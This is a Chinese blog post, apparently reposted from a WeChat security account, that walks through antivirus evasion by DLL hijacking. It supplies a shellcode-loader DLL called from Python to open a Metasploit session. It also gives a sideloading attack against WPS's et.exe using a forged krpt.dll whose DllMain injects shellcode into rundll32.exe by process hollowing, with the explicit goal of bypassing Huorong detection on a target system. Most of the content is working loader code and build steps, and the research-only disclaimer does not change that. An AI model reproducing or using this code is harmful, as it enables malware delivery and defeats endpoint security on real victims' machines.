免杀对抗-DLL劫持免杀

admin 2024年12月16日13:27:25评论6 views字数 2378阅读7分55秒阅读模式

C&Py-DLL劫持-语言-调用加载

1.使用visualstudio创建项目

免杀对抗-DLL劫持免杀

2.将文件名重命名为.c后缀

免杀对抗-DLL劫持免杀

3.将如下加载器代码生成dll文件

加载器代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。

#include "pch.h"

#include <Windows.h>

#include <stdio.h>

#include <string.h>

#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"") //windows控制台程序不出黑窗口

unsigned char buf[] =生成的shellcode;

int main()

{

char* Memory;

Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

memcpy(Memory, buf, sizeof(buf));

((void(*)())Memory)();

}

生成成功

免杀对抗-DLL劫持免杀

4.msf开启监听

免杀对抗-DLL劫持免杀

5.使用python执行如下代码,调用dll文件

dll.py

from ctypes import *

#利用python载入dll文件

lib=CDLL('生成的dll文件路径')

#调用dll文件内置方法函数

lib.main()

执行成功,msf成功上线

免杀对抗-DLL劫持免杀

6.使用打包器将dll.py文件打包成exe,执行成功上线

免杀对抗-DLL劫持免杀

C&C++-DLL劫持-白加黑-导出编译

1.随便选中一个exe程序运行,使用火绒剑查看这个exe程序在运行时加载的dll文件

这里选择的是wps中的et.exe程序,运行发现加载了一个krpt.dll文件

免杀对抗-DLL劫持免杀

2.使用Dependencies工具对krpt.dll进行反编译

免杀对抗-DLL劫持免杀

3.右键导出krpt.dll源码

免杀对抗-DLL劫持免杀

4.使用visual studio创建一个新项目。项目名称右键——打开项目位置——将反编译的dll源码复制进去。

免杀对抗-DLL劫持免杀

5.选中dll源码拖入项目,工具就会自动加载源码

免杀对抗-DLL劫持免杀

6.打开asm文件,将所有的jmp语句删除

免杀对抗-DLL劫持免杀

7.根据文件中的教程,选中文件——右键属性——如下图修改——点击应用。

配置时注意:

配置:选择所有配置

平台:选择所有平台

免杀对抗-DLL劫持免杀

8.根据教程——继续打开asm文件的属性进行配置

免杀对抗-DLL劫持免杀

9.项目名称——右键属性——c/c++——代码生成——运行库——多线程(/MT)

免杀对抗-DLL劫持免杀

10.预编译头——不使用预编译头

免杀对抗-DLL劫持免杀

11.链接器——调试——生成调试信息——否

免杀对抗-DLL劫持免杀

12..c文件中添加如下一行代码

免杀对抗-DLL劫持免杀

13.打开.cpp文件,写入shellcode加载代码(可任意)

如:

#include "framework.h"

#include "krpt.h"

#include "windows.h"

BOOL APIENTRY DllMain(HMODULE hModule,

DWORDul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

{

unsigned char hexData[] = "生成的shellcode";

char* v7A = (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);

memcpy((void*)v7A, hexData, _countof(hexData));

struct _PROCESS_INFORMATION ProcessInformation;

struct _STARTUPINFOA StartupInfo;

void* v24;

CONTEXT Context;

DWORD DwWrite = 0;

memset(&StartupInfo, 0, sizeof(StartupInfo));

StartupInfo.cb = 68;

BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);

if (result)

{

Context.ContextFlags = 65539;

GetThreadContext(ProcessInformation.hThread, &Context);

v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);

WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);

Context.Eip = (DWORD)v24;

SetThreadContext(ProcessInformation.hThread, &Context);

ResumeThread(ProcessInformation.hThread);

CloseHandle(ProcessInformation.hThread);

result = CloseHandle(ProcessInformation.hProcess);

}

TerminateProcess(GetCurrentProcess(), 0);

};

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

成功生成dll文件

免杀对抗-DLL劫持免杀

14.将生成的dll文件改名位krpt.dll和et.exe一起上传到目标系统

运行et.exe,成功绕过火绒检测,msf成功上线

免杀对抗-DLL劫持免杀

原文始发于微信公众号(sec0nd安全):免杀对抗-DLL劫持免杀

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月16日13:27:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀对抗-DLL劫持免杀https://cn-sec.com/archives/3511607.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息